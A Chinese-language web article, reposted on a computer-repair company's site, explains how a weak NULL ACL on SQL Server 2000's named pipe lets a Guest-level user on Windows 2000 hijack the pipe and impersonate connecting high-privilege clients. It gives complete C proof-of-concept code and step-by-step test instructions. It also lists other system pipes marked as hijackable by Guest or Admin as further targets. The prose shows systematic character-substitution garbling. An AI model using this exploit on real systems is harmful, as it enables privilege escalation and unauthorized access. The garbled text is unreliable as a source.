设为主页 | 加入收藏 | 繁體中文

SQL SERVER 2000通讯管道后复用劫持

  SQL SERVER 2000通讯中,允许使用有名管道来举行通讯,一般环境下是如此定名的:
  默认实例:\\.\pipe\sql\query
  定名实例:\\.\pipe\MSSQL$instancename\sql\query
  也可以经过1434 UDP举行查询获得这个管道名称
  但是由于SQL SERVER 2000对付这个管道的ACL设置为NULL,招致任何用户的权限都可以对这个管道举行挟制,以前的挟制都是利用先停掉办事,再创建这个名字管道,然后再启动办事来复用自己曾经创建了名字的管道,但现实上SQL SERVER 2000会判断能否已有同名管道,然后会取别的名字,而且低级权限的用户也启动和停止不了办事(除非是利用一些漏洞),但是现实上对管道的测试却发明:如果ACL设置成NULL的话,即使是后定名的管道,也可以挟制先下令的管道,只必要简略复用管道,然后自己创建几个管道的毗连不开释(详细创建几个预计和真正的管道
  创建时的实例个数有关,如在我的测试下,\\.\pipe\sql\query只必要创建1个接可以挟制了,而\\.\pipe\lsass则必要4-5个之后才气挟制。不过\\.\pipe\lsass的ACL只能是办理员才气举行挟制)
  如果打击者复用了同名管道以后,创建起几个不开释的管道(消耗掉了正常管道的实例),然后再有客户提倡的管道毗连就进入了打击者程序的管道监听流程,剩下的便是各人都知道的利用模拟函数获得提倡者权限的须生常谈了:
  下面便是一个简略的例子,实现对SQL SERVER 2000管道通讯的挟制
  环境:SQL SERVER 2000+SP2
  WIN2000 SERVER中文版+SP3
  测试流程:
  1。先创建SQL 办事器允许管道通讯,和集成WINDOWS 验证,添加一个具有高权限的允许SQL SERVER登岸的WINDOWS本机帐户,启动SQL SERVER办事
  2。C盘下创建一个TEST.TXT文件,设置ACL为GUEST全部拒绝,其别人都许可
  3。在别的一台呆板B上,以添加的可以登岸SQL SERVER的办事器帐户登岸,然后设置客户端网络库只为管道(如果有多个,大概就会是随机选一个毗连,而不愿定是管道举行通讯了)
  4。然后用SQL SERVER企业办理器创建一个SQL SERVER的毗连,使用集成WINDOWS验证
  5。SQL SERVER这边的呆板进入GUEST帐户运行下面C代码的程序,会显示先无法翻开TEST.TXT文件,然落伍行挟制,等待客户端管道毗连
  6。在呆板B上,毗连SQL SERVER,然后主机A的程序就会截获这个管道扮演高权限登岸用户,然后可以翻开先没权限翻开的文件。
  固然这个打击本身现实的意义大概不大,由于预计如今SQL SERVER用管道创建通讯的比较少,而且在都允许的环境下,一般会自动选择TCP方式举行毗连,但同时阐明了:一个缺乏很好ACL保护的管道,也可以用后发复用来举行挟制,这就减少了许多必要先停掉办事或事后预测的困难,在编写办事器端管道使用的时候也必需小心。
  SQL SERVER 2000挟制代码
  #include
  #include
  #include
  #include
  void main()
  {
  HANDLE pipea;
  FILE * fp;
  DWORD ret;
  DWORD num;
  HANDLE pipeb[100];
  int i;
  int dwSize ;
  char szUser[256];   
  DWORD dwNumber = 0;
  //先的测试,在GUEST权限下无法翻开此文件
  fp = fopen("C:\\test.txt","w");
  if(fp==NULL)
  printf("now you don't open file;\n");
  //创建起一个同名管道,复用已存在的SQL SERVER的
  pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
  PIPE_ACCESS_DUPLEX,
  PIPE_TYPE_MESSAGE|PIPE_WAIT,
  100,
  2048,
  2048,
  NMPWAIT_USE_DEFAULT_WAIT,
  NULL);
  if(pipea ==INVALID_HANDLE_VALUE)
  {
  ret = GetLastError();
  printf("error in createnamedpipe!code=%d\n",ret);
  return;
  }
  //损耗掉其他正常实例
  if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
  {
  printf("no this pipe\n");
  return;
  }
  //可以调整个数,SQL SERVER只必要调整一个就可以了
  for(i=0;i<1;i++)
  {
  Sleep(20);
  if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
  {
  printf("open pipe failed\n");
  return;
  }
  //WriteFile(pipeb[i],"test1",5,&num,NULL);
  //WriteFile(pipeb[i],"test2",5,&num,NULL);
  }
  //然后等待毗连
  ConnectNamedPipe (pipea, NULL);
  ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
  //模拟毗连进来的用户
  ImpersonateNamedPipeClient (pipea);
  dwSize = 256;
  //获得用户信息
  GetUserName(szUser, &dwSize);
  printf ("Impersonating: %s\n", szUser);   
  //然后再测试能否能翻开这个文件,证明确实提拔了权限
  fp = fopen("C:\\test.txt","w");
  if(fp!=NULL)
  printf("now you can open file\n");
  DisconnectNamedPipe(pipea);
  CloseHandle(pipea);
  for(i=0;i<1;i++)
  CloseHandle(pipeb[i]);   
  return;
  }
  增补:
  全部管道都有这个漏洞,便是看ACL能否允许你复用,只需能复用就可以
  如//./pipe/lsass 我都可以挟制,但是他的ACL界说成只能administrator举行挟制
  目前测试了一下默认的一些管道基本ACL设置好好,不允许低级权限用户复制,但SQL的管道显示ACL设置的很差
  大概更多办事或者其他的第三方的办事中存在这样没有很好ACL保护的管道,那么就意味着后复用也可以挟制乐成
  下面是我开启了全部默认的WIN的办事,然后获取的系统管道测试的效果(没有开启终端办事,我呆板没装,装了终端办事的可以测一下),别的也不克不及说没有意义,我后面看见一篇文章还专门保举用集成验证加管道通讯获得更安全的SQL SERVER呢,嘿嘿
  Pipe name (Number of instances, Maximum instances)
  InitShutdown (2, -1)<---------------可以在ADMIN下挟制
  net\NtControlPipe5 (1, 1)
  llsrpc (2, -1)   <---------------可以在ADMIN下挟制
  000001e8.000 (2, -1) <-----------可以在ADMIN下挟制
  net\NtControlPipe8 (1, 1)
  net\NtControlPipe9 (1, 1)
  ProfMapApi (2, -1)<--------------可以在ADMIN下挟制
  epmapper (2, -1)<----------------可以在ADMIN下挟制
  WMIEP_454 (2, -1)<---------------可以在ADMIN下挟制<------GUEST用户可挟制
  WMIEP_444 (2, -1)<---------------可以在ADMIN下挟制<------GUEST用户可挟制
  net\NtControlPipe11 (1, 1)
  WMIEP_3c8 (2, -1)<---------------可以在ADMIN下挟制
  net\NtControlPipe12 (1, 1)
  net\NtControlPipe13 (1, 1)
  nddeapi (2, -1)<-----------------可以在ADMIN下挟制<------GUEST用户可挟制
  NetDDE (1, 1)                    返回全部管道实例都忙的错误信息,不知道能否ACL设置许可复用
  net\NtControlPipe14 (1, 1)
  Winsock2\CatalogChangeListener-e8-0 (1, 1)<-----------------可以在ADMIN下挟制
  net\NtControlPipe15 (1, 1)
  Winsock2\CatalogChangeListener-574-0 (1, 1)<-----------------可以在ADMIN下挟制
  WMIEP_640 (2, -1)<-----------------可以在ADMIN下挟制
  Winsock2\CatalogChangeListener-640-0 (1, 1)<-----------------可以在ADMIN下挟制
  net\NtControlPipe25 (1, 1)
  WMIEP_6f0 (2, -1)<-----------------可以在ADMIN下挟制
  sql\console (1, -1)<---------------可以在ADMIN下挟制<------GUEST用户可挟制
  SQL\QUERY (1, -1)<-----------------可以在ADMIN下挟制<------GUEST用户可挟制
  net\NtControlPipe26 (1, 1)
  tsx_listener (1, 1)         返回全部管道实例都忙的错误信息,不知道能否ACL设置许可复用
  winreg (2, -1)<-----------------可以在ADMIN下挟制
  Winsock2\CatalogChangeListener-6f0-0 (1, 1)<-----------------可以在ADMIN下挟制
  其中在GUEST权限下可挟制的有
  WMIEP_454 (2, -1)<---------------可以在ADMIN下挟制<------GUEST用户可挟制
  WMIEP_444 (2, -1)<---------------可以在ADMIN下挟制<------GUEST用户可挟制
  nddeapi (2, -1)<-----------------可以在ADMIN下挟制<------GUEST用户可挟制
  sql\console (1, -1)<---------------可以在ADMIN下挟制<------GUEST用户可挟制
  SQL\QUERY (1, -1)<-----------------可以在ADMIN下挟制<------GUEST用户可挟制
  SQL 的就不说了,不过sql\console这个管道用于什么方面还不清楚,如果有默认的一些用途的话,预计也是一个点。
  nddeapi的基本存在nddeapi的使用的话就可以产生
  WMI的就难点,看这样子是随着发展每个毗连都市新建起来的,那样后复用作用就不大,只能接纳预测名字的方法提早复用来打击,但是稀罕的是其权限是不同的,有些WMI的不克不及GUEST复用,有些又可以,有时间了详细测试一下WMI客户与办事器之间毗连产生的管道通讯的环境,或许也是走一个默认的管道名,说不定就可以打击了呢,:)
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: